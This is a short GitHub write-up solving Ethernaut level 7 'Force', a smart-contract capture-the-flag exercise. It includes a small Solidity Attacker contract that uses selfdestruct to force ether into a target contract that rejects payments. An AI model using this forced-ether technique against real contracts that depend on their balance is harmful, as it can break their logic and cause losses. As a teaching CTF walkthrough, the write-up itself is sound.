Skip to content
This repository has been archived by the owner on Nov 6, 2023. It is now read-only.

Latest commit

 

History

History
43 lines (29 loc) · 1.06 KB

Force.md

File metadata and controls

43 lines (29 loc) · 1.06 KB

Ethernaut: 7. Force

Some contracts will simply not take your money ¯\_(ツ)_/¯

Objective of CTF:

  • Make the balance of the contract greater than zero.

Target contract:

Play the level

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

This contract is supposedly not accepting any payments. Well, it is possible to force money into a contract by selfdestruct'ing a contract with some balance, with the target contract address as the parameter.

We deploy the contract below with some small amount of ether, and then call the pwn function to let it selfdestruct and transfer all of its balance to the target contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attacker {
  function pwn(address _target) payable public {
    selfdestruct(payable(_target));
  }
}

That is all about this one!